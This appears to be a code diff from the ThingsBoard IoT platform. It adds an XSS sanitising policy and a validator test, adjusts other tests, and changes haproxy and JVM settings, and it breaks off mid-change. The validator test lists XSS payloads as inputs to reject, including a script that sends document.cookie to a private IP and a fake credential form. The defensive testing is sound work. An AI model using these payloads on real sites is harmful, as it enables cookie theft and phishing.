13 | + distributed under the License is distributed on an "AS IS" BASIS, | ||
14 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
15 | + See the License for the specific language governing permissions and | ||
16 | + limitations under the License. | ||
17 | + | ||
18 | +--> | ||
19 | +<anti-samy-rules> | ||
20 | + | ||
21 | + <directives> | ||
22 | + <directive name="omitXmlDeclaration" value="true"/> | ||
23 | + <directive name="omitDoctypeDeclaration" value="false"/> | ||
24 | + <directive name="maxInputSize" value="100000"/> | ||
25 | + <directive name="embedStyleSheets" value="false"/> | ||
26 | + <directive name="useXHTML" value="true"/> | ||
27 | + <directive name="formatOutput" value="true"/> | ||
28 | + </directives> | ||
29 | + | ||
30 | + <common-regexps> | ||
31 | + | ||
32 | + <!-- | ||
33 | + From W3C: | ||
34 | + This attribute assigns a class name or set of class names to an | ||
35 | + element. Any number of elements may be assigned the same class | ||
36 | + name or names. Multiple class names must be separated by white | ||
37 | + space characters. | ||
38 | + --> | ||
39 | + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> | ||
40 | + | ||
41 | + <!-- force non-empty with a '+' at the end instead of '*' | ||
42 | + --> | ||
43 | + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> | ||
44 | + | ||
45 | + <!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) | ||
46 | + --> | ||
47 | + | ||
48 | + <!-- ([\p{L}/ 0-9&\#-.?=])* | ||
49 | + --> | ||
50 | + <regexp name="offsiteURL" | ||
51 | + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> | ||
52 | + </common-regexps> | ||
53 | + | ||
54 | + <common-attributes> | ||
55 | + | ||
56 | + <attribute name="lang" | ||
57 | + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> | ||
58 | + | ||
59 | + <regexp-list> | ||
60 | + <regexp value="[a-zA-Z]{2,20}"/> | ||
61 | + </regexp-list> | ||
62 | + </attribute> | ||
63 | + | ||
64 | + <attribute name="title" | ||
65 | + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> | ||
66 | + | ||
67 | + <regexp-list> | ||
68 | + <regexp name="htmlTitle"/> | ||
69 | + </regexp-list> | ||
70 | + </attribute> | ||
71 | + | ||
72 | + <attribute name="href" onInvalid="filterTag"> | ||
73 | + | ||
74 | + <regexp-list> | ||
75 | + <regexp name="onsiteURL"/> | ||
76 | + <regexp name="offsiteURL"/> | ||
77 | + </regexp-list> | ||
78 | + </attribute> | ||
79 | + | ||
80 | + <attribute name="align" | ||
81 | + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> | ||
82 | + | ||
83 | + <literal-list> | ||
84 | + <literal value="center"/> | ||
85 | + <literal value="left"/> | ||
86 | + <literal value="right"/> | ||
87 | + <literal value="justify"/> | ||
88 | + <literal value="char"/> | ||
89 | + </literal-list> | ||
90 | + </attribute> | ||
91 | + <attribute name="style" | ||
92 | + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> | ||
93 | + </common-attributes> | ||
94 | + | ||
95 | + <global-tag-attributes> | ||
96 | + <attribute name="title"/> | ||
97 | + <attribute name="lang"/> | ||
98 | + <attribute name="style"/> | ||
99 | + </global-tag-attributes> | ||
100 | + | ||
101 | + <tags-to-encode> | ||
102 | + <tag>g</tag> | ||
103 | + <tag>grin</tag> | ||
104 | + </tags-to-encode> | ||
105 | + | ||
106 | + <tag-rules> | ||
107 | + | ||
108 | + <tag name="script" action="remove"/> | ||
109 | + <tag name="noscript" action="remove"/> | ||
110 | + <tag name="iframe" action="remove"/> | ||
111 | + <tag name="frameset" action="remove"/> | ||
112 | + <tag name="frame" action="remove"/> | ||
113 | + <tag name="noframes" action="remove"/> | ||
114 | + <tag name="head" action="remove"/> | ||
115 | + <tag name="title" action="remove"/> | ||
116 | + <tag name="base" action="remove"/> | ||
117 | + <tag name="style" action="remove"/> | ||
118 | + <tag name="link" action="remove"/> | ||
119 | + <tag name="input" action="remove"/> | ||
120 | + <tag name="textarea" action="remove"/> | ||
121 | + | ||
122 | + <tag name="br" action="remove"/> | ||
123 | + | ||
124 | + <tag name="p" action="remove"/> | ||
125 | + <tag name="div" action="remove"/> | ||
126 | + <tag name="span" action="remove"/> | ||
127 | + <tag name="i" action="remove"/> | ||
128 | + <tag name="b" action="remove"/> | ||
129 | + <tag name="strong" action="remove"/> | ||
130 | + <tag name="s" action="remove"/> | ||
131 | + <tag name="strike" action="remove"/> | ||
132 | + <tag name="u" action="remove"/> | ||
133 | + <tag name="em" action="remove"/> | ||
134 | + <tag name="blockquote" action="remove"/> | ||
135 | + <tag name="tt" action="remove"/> | ||
136 | + | ||
137 | + <tag name="a" action="remove"/> | ||
138 | + | ||
139 | + <tag name="ul" action="remove"/> | ||
140 | + <tag name="ol" action="remove"/> | ||
141 | + <tag name="li" action="remove"/> | ||
142 | + <tag name="dl" action="remove"/> | ||
143 | + <tag name="dt" action="remove"/> | ||
144 | + <tag name="dd" action="remove"/> | ||
145 | + </tag-rules> | ||
146 | + | ||
147 | + <css-rules> | ||
148 | + <property name="text-decoration" default="none" | ||
149 | + description=""> | ||
150 | + | ||
151 | + <category-list> | ||
152 | + <category value="visual"/> | ||
153 | + </category-list> | ||
154 | + | ||
155 | + <literal-list> | ||
156 | + <literal value="underline"/> | ||
157 | + <literal value="overline"/> | ||
158 | + <literal value="line-through"/> | ||
159 | + </literal-list> | ||
160 | + </property> | ||
161 | + </css-rules> | ||
162 | +</anti-samy-rules> |
@@ -24,7 +24,10 @@ import java.util.Arrays; | @@ -24,7 +24,10 @@ import java.util.Arrays; | ||
24 | 24 | ||
25 | @RunWith(ClasspathSuite.class) | 25 | @RunWith(ClasspathSuite.class) |
26 | @ClassnameFilters({ | 26 | @ClassnameFilters({ |
27 | - "org.thingsboard.server.dao.service.sql.*SqlTest" | 27 | + "org.thingsboard.server.dao.service.sql.*SqlTest", |
28 | + "org.thingsboard.server.dao.service.attributes.sql.*SqlTest", | ||
29 | + "org.thingsboard.server.dao.service.event.sql.*SqlTest", | ||
30 | + "org.thingsboard.server.dao.service.timeseries.sql.*SqlTest" | ||
28 | }) | 31 | }) |
29 | public class SqlDaoServiceTestSuite { | 32 | public class SqlDaoServiceTestSuite { |
30 | 33 |
1 | +/** | ||
2 | + * Copyright © 2016-2021 The Thingsboard Authors | ||
3 | + * | ||
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | + * you may not use this file except in compliance with the License. | ||
6 | + * You may obtain a copy of the License at | ||
7 | + * | ||
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | + * | ||
10 | + * Unless required by applicable law or agreed to in writing, software | ||
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | + * See the License for the specific language governing permissions and | ||
14 | + * limitations under the License. | ||
15 | + */ | ||
16 | +package org.thingsboard.server.dao.service; | ||
17 | + | ||
18 | +import org.junit.jupiter.api.BeforeAll; | ||
19 | +import org.junit.jupiter.params.ParameterizedTest; | ||
20 | +import org.junit.jupiter.params.provider.ValueSource; | ||
21 | + | ||
22 | +import javax.validation.ConstraintValidatorContext; | ||
23 | + | ||
24 | +import static org.junit.jupiter.api.Assertions.assertFalse; | ||
25 | +import static org.mockito.Mockito.mock; | ||
26 | + | ||
27 | +public class NoXssValidatorTest { | ||
28 | + private static NoXssValidator validator; | ||
29 | + | ||
30 | + @BeforeAll | ||
31 | + public static void beforeAll() { | ||
32 | + validator = new NoXssValidator(); | ||
33 | + validator.initialize(null); | ||
34 | + } | ||
35 | + | ||
36 | + @ParameterizedTest | ||
37 | + @ValueSource(strings = { | ||
38 | + "aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666", | ||
39 | + "9090<body onload=alert('xsssss')>90909", | ||
40 | + "qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy", | ||
41 | + "bambam<script>alert(document.cookie)</script>", | ||
42 | + "<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221", | ||
43 | + "<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>", | ||
44 | + " <img src= \"http://site.com/\" > ", | ||
45 | + "123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe", | ||
46 | + }) | ||
47 | + public void testIsNotValid(String stringWithXss) { | ||
48 | + boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class)); | ||
49 | + assertFalse(isValid); | ||
50 | + } | ||
51 | + | ||
52 | +} |
@@ -143,52 +143,52 @@ public abstract class BaseTimeseriesServiceTest extends AbstractServiceTest { | @@ -143,52 +143,52 @@ public abstract class BaseTimeseriesServiceTest extends AbstractServiceTest { | ||
143 | public void testFindByQueryAscOrder() throws Exception { | 143 | public void testFindByQueryAscOrder() throws Exception { |
144 | DeviceId deviceId = new DeviceId(Uuids.timeBased()); | 144 | DeviceId deviceId = new DeviceId(Uuids.timeBased()); |
145 | 145 | ||
146 | + saveEntries(deviceId, TS - 3); | ||
146 | saveEntries(deviceId, TS - 2); | 147 | saveEntries(deviceId, TS - 2); |
147 | saveEntries(deviceId, TS - 1); | 148 | saveEntries(deviceId, TS - 1); |
148 | - saveEntries(deviceId, TS); | ||
149 | 149 | ||
150 | List<ReadTsKvQuery> queries = new ArrayList<>(); | 150 | List<ReadTsKvQuery> queries = new ArrayList<>(); |
151 | queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "ASC")); | 151 | queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "ASC")); |
152 | 152 | ||
153 | List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get(); | 153 | List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get(); |
154 | Assert.assertEquals(3, entries.size()); | 154 | Assert.assertEquals(3, entries.size()); |
155 | - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(0)); | ||
156 | - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1)); | ||
157 | - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(2)); | 155 | + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(0)); |
156 | + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1)); | ||
157 | + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(2)); | ||
158 | 158 | ||
159 | EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY)); | 159 | EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY)); |
160 | 160 | ||
161 | entries = tsService.findAll(tenantId, entityView.getId(), queries).get(); | 161 | entries = tsService.findAll(tenantId, entityView.getId(), queries).get(); |
162 | Assert.assertEquals(3, entries.size()); | 162 | Assert.assertEquals(3, entries.size()); |
163 | - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(0)); | ||
164 | - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1)); | ||
165 | - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(2)); | 163 | + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(0)); |
164 | + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1)); | ||
165 | + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(2)); | ||
166 | } | 166 | } |
167 | 167 | ||
168 | @Test | 168 | @Test |
169 | public void testFindByQueryDescOrder() throws Exception { | 169 | public void testFindByQueryDescOrder() throws Exception { |
170 | DeviceId deviceId = new DeviceId(Uuids.timeBased()); | 170 | DeviceId deviceId = new DeviceId(Uuids.timeBased()); |
171 | 171 | ||
172 | + saveEntries(deviceId, TS - 3); | ||
172 | saveEntries(deviceId, TS - 2); | 173 | saveEntries(deviceId, TS - 2); |
173 | saveEntries(deviceId, TS - 1); | 174 | saveEntries(deviceId, TS - 1); |
174 | - saveEntries(deviceId, TS); | ||
175 | 175 | ||
176 | List<ReadTsKvQuery> queries = new ArrayList<>(); | 176 | List<ReadTsKvQuery> queries = new ArrayList<>(); |
177 | queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "DESC")); | 177 | queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "DESC")); |
178 | 178 | ||
179 | List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get(); | 179 | List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get(); |
180 | Assert.assertEquals(3, entries.size()); | 180 | Assert.assertEquals(3, entries.size()); |
181 | - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(0)); | ||
182 | - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1)); | ||
183 | - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(2)); | 181 | + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(0)); |
182 | + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1)); | ||
183 | + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(2)); | ||
184 | 184 | ||
185 | EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY)); | 185 | EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY)); |
186 | 186 | ||
187 | entries = tsService.findAll(tenantId, entityView.getId(), queries).get(); | 187 | entries = tsService.findAll(tenantId, entityView.getId(), queries).get(); |
188 | Assert.assertEquals(3, entries.size()); | 188 | Assert.assertEquals(3, entries.size()); |
189 | - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(0)); | ||
190 | - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1)); | ||
191 | - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(2)); | 189 | + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(0)); |
190 | + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1)); | ||
191 | + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(2)); | ||
192 | } | 192 | } |
193 | 193 | ||
194 | @Test | 194 | @Test |
dao/src/test/resources/xss-policy.xml
0 → 100644
1 | +<?xml version="1.0" encoding="UTF-8" ?> | ||
2 | +<!-- | ||
3 | + | ||
4 | + Copyright © 2016-2021 The Thingsboard Authors | ||
5 | + | ||
6 | + Licensed under the Apache License, Version 2.0 (the "License"); | ||
7 | + you may not use this file except in compliance with the License. | ||
8 | + You may obtain a copy of the License at | ||
9 | + | ||
10 | + http://www.apache.org/licenses/LICENSE-2.0 | ||
11 | + | ||
12 | + Unless required by applicable law or agreed to in writing, software | ||
13 | + distributed under the License is distributed on an "AS IS" BASIS, | ||
14 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
15 | + See the License for the specific language governing permissions and | ||
16 | + limitations under the License. | ||
17 | + | ||
18 | +--> | ||
19 | +<anti-samy-rules> | ||
20 | + | ||
21 | + <directives> | ||
22 | + <directive name="omitXmlDeclaration" value="true"/> | ||
23 | + <directive name="omitDoctypeDeclaration" value="false"/> | ||
24 | + <directive name="maxInputSize" value="100000"/> | ||
25 | + <directive name="embedStyleSheets" value="false"/> | ||
26 | + <directive name="useXHTML" value="true"/> | ||
27 | + <directive name="formatOutput" value="true"/> | ||
28 | + </directives> | ||
29 | + | ||
30 | + <common-regexps> | ||
31 | + | ||
32 | + <!-- | ||
33 | + From W3C: | ||
34 | + This attribute assigns a class name or set of class names to an | ||
35 | + element. Any number of elements may be assigned the same class | ||
36 | + name or names. Multiple class names must be separated by white | ||
37 | + space characters. | ||
38 | + --> | ||
39 | + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> | ||
40 | + | ||
41 | + <!-- force non-empty with a '+' at the end instead of '*' | ||
42 | + --> | ||
43 | + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> | ||
44 | + | ||
45 | + <!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) | ||
46 | + --> | ||
47 | + | ||
48 | + <!-- ([\p{L}/ 0-9&\#-.?=])* | ||
49 | + --> | ||
50 | + <regexp name="offsiteURL" | ||
51 | + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> | ||
52 | + </common-regexps> | ||
53 | + | ||
54 | + <common-attributes> | ||
55 | + | ||
56 | + <attribute name="lang" | ||
57 | + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> | ||
58 | + | ||
59 | + <regexp-list> | ||
60 | + <regexp value="[a-zA-Z]{2,20}"/> | ||
61 | + </regexp-list> | ||
62 | + </attribute> | ||
63 | + | ||
64 | + <attribute name="title" | ||
65 | + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> | ||
66 | + | ||
67 | + <regexp-list> | ||
68 | + <regexp name="htmlTitle"/> | ||
69 | + </regexp-list> | ||
70 | + </attribute> | ||
71 | + | ||
72 | + <attribute name="href" onInvalid="filterTag"> | ||
73 | + | ||
74 | + <regexp-list> | ||
75 | + <regexp name="onsiteURL"/> | ||
76 | + <regexp name="offsiteURL"/> | ||
77 | + </regexp-list> | ||
78 | + </attribute> | ||
79 | + | ||
80 | + <attribute name="align" | ||
81 | + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> | ||
82 | + | ||
83 | + <literal-list> | ||
84 | + <literal value="center"/> | ||
85 | + <literal value="left"/> | ||
86 | + <literal value="right"/> | ||
87 | + <literal value="justify"/> | ||
88 | + <literal value="char"/> | ||
89 | + </literal-list> | ||
90 | + </attribute> | ||
91 | + <attribute name="style" | ||
92 | + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> | ||
93 | + </common-attributes> | ||
94 | + | ||
95 | + <global-tag-attributes> | ||
96 | + <attribute name="title"/> | ||
97 | + <attribute name="lang"/> | ||
98 | + <attribute name="style"/> | ||
99 | + </global-tag-attributes> | ||
100 | + | ||
101 | + <tags-to-encode> | ||
102 | + <tag>g</tag> | ||
103 | + <tag>grin</tag> | ||
104 | + </tags-to-encode> | ||
105 | + | ||
106 | + <tag-rules> | ||
107 | + | ||
108 | + <tag name="script" action="remove"/> | ||
109 | + <tag name="noscript" action="remove"/> | ||
110 | + <tag name="iframe" action="remove"/> | ||
111 | + <tag name="frameset" action="remove"/> | ||
112 | + <tag name="frame" action="remove"/> | ||
113 | + <tag name="noframes" action="remove"/> | ||
114 | + <tag name="head" action="remove"/> | ||
115 | + <tag name="title" action="remove"/> | ||
116 | + <tag name="base" action="remove"/> | ||
117 | + <tag name="style" action="remove"/> | ||
118 | + <tag name="link" action="remove"/> | ||
119 | + <tag name="input" action="remove"/> | ||
120 | + <tag name="textarea" action="remove"/> | ||
121 | + | ||
122 | + <tag name="br" action="remove"/> | ||
123 | + | ||
124 | + <tag name="p" action="remove"/> | ||
125 | + <tag name="div" action="remove"/> | ||
126 | + <tag name="span" action="remove"/> | ||
127 | + <tag name="i" action="remove"/> | ||
128 | + <tag name="b" action="remove"/> | ||
129 | + <tag name="strong" action="remove"/> | ||
130 | + <tag name="s" action="remove"/> | ||
131 | + <tag name="strike" action="remove"/> | ||
132 | + <tag name="u" action="remove"/> | ||
133 | + <tag name="em" action="remove"/> | ||
134 | + <tag name="blockquote" action="remove"/> | ||
135 | + <tag name="tt" action="remove"/> | ||
136 | + | ||
137 | + <tag name="a" action="remove"/> | ||
138 | + | ||
139 | + <tag name="ul" action="remove"/> | ||
140 | + <tag name="ol" action="remove"/> | ||
141 | + <tag name="li" action="remove"/> | ||
142 | + <tag name="dl" action="remove"/> | ||
143 | + <tag name="dt" action="remove"/> | ||
144 | + <tag name="dd" action="remove"/> | ||
145 | + </tag-rules> | ||
146 | + | ||
147 | + <css-rules> | ||
148 | + <property name="text-decoration" default="none" | ||
149 | + description=""> | ||
150 | + | ||
151 | + <category-list> | ||
152 | + <category value="visual"/> | ||
153 | + </category-list> | ||
154 | + | ||
155 | + <literal-list> | ||
156 | + <literal value="underline"/> | ||
157 | + <literal value="overline"/> | ||
158 | + <literal value="line-through"/> | ||
159 | + </literal-list> | ||
160 | + </property> | ||
161 | + </css-rules> | ||
162 | +</anti-samy-rules> |
@@ -230,7 +230,7 @@ services: | @@ -230,7 +230,7 @@ services: | ||
230 | haproxy: | 230 | haproxy: |
231 | restart: always | 231 | restart: always |
232 | container_name: "${LOAD_BALANCER_NAME}" | 232 | container_name: "${LOAD_BALANCER_NAME}" |
233 | - image: xalauc/haproxy-certbot:1.7.9 | 233 | + image: thingsboard/haproxy-certbot:1.3.0 |
234 | volumes: | 234 | volumes: |
235 | - ./haproxy/config:/config | 235 | - ./haproxy/config:/config |
236 | - ./haproxy/letsencrypt:/etc/letsencrypt | 236 | - ./haproxy/letsencrypt:/etc/letsencrypt |
@@ -54,7 +54,7 @@ frontend http-in | @@ -54,7 +54,7 @@ frontend http-in | ||
54 | 54 | ||
55 | option forwardfor | 55 | option forwardfor |
56 | 56 | ||
57 | - reqadd X-Forwarded-Proto:\ http | 57 | + http-request add-header "X-Forwarded-Proto" "http" |
58 | 58 | ||
59 | acl transport_http_acl path_beg /api/v1/ | 59 | acl transport_http_acl path_beg /api/v1/ |
60 | acl letsencrypt_http_acl path_beg /.well-known/acme-challenge/ | 60 | acl letsencrypt_http_acl path_beg /.well-known/acme-challenge/ |
@@ -73,7 +73,7 @@ frontend https_in | @@ -73,7 +73,7 @@ frontend https_in | ||
73 | 73 | ||
74 | option forwardfor | 74 | option forwardfor |
75 | 75 | ||
76 | - reqadd X-Forwarded-Proto:\ https | 76 | + http-request add-header "X-Forwarded-Proto" "https" |
77 | 77 | ||
78 | acl transport_http_acl path_beg /api/v1/ | 78 | acl transport_http_acl path_beg /api/v1/ |
79 | acl tb_api_acl path_beg /api/ /swagger /webjars /v2/ /static/rulenode/ /oauth2/ /login/oauth2/ /static/widgets/ | 79 | acl tb_api_acl path_beg /api/ /swagger /webjars /v2/ /static/rulenode/ /oauth2/ /login/oauth2/ /static/widgets/ |
@@ -23,11 +23,11 @@ metadata: | @@ -23,11 +23,11 @@ metadata: | ||
23 | name: tb-coap-transport-config | 23 | name: tb-coap-transport-config |
24 | data: | 24 | data: |
25 | conf: | | 25 | conf: | |
26 | - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-coap-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-coap-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps" | ||
27 | - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10" | ||
28 | - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | ||
29 | - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled" | ||
30 | - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" | 26 | + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-coap-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M" |
27 | + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-coap-transport/${TB_SERVICE_ID}-heapdump.bin" | ||
28 | + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | ||
29 | + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10" | ||
30 | + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError" | ||
31 | export LOG_FILENAME=tb-coap-transport.out | 31 | export LOG_FILENAME=tb-coap-transport.out |
32 | export LOADER_PATH=/usr/share/tb-coap-transport/conf | 32 | export LOADER_PATH=/usr/share/tb-coap-transport/conf |
33 | logback: | | 33 | logback: | |
@@ -23,11 +23,11 @@ metadata: | @@ -23,11 +23,11 @@ metadata: | ||
23 | name: tb-http-transport-config | 23 | name: tb-http-transport-config |
24 | data: | 24 | data: |
25 | conf: | | 25 | conf: | |
26 | - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-http-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-http-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps" | ||
27 | - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10" | ||
28 | - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | ||
29 | - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled" | ||
30 | - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" | 26 | + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-http-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M" |
27 | + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-http-transport/${TB_SERVICE_ID}-heapdump.bin" | ||
28 | + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | ||
29 | + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10" | ||
30 | + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError" | ||
31 | export LOG_FILENAME=tb-http-transport.out | 31 | export LOG_FILENAME=tb-http-transport.out |
32 | export LOADER_PATH=/usr/share/tb-http-transport/conf | 32 | export LOADER_PATH=/usr/share/tb-http-transport/conf |
33 | logback: | | 33 | logback: | |
@@ -23,11 +23,11 @@ metadata: | @@ -23,11 +23,11 @@ metadata: | ||
23 | name: tb-mqtt-transport-config | 23 | name: tb-mqtt-transport-config |
24 | data: | 24 | data: |
25 | conf: | | 25 | conf: | |
26 | - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-mqtt-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps" | ||
27 | - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10" | ||
28 | - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | ||
29 | - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled" | ||
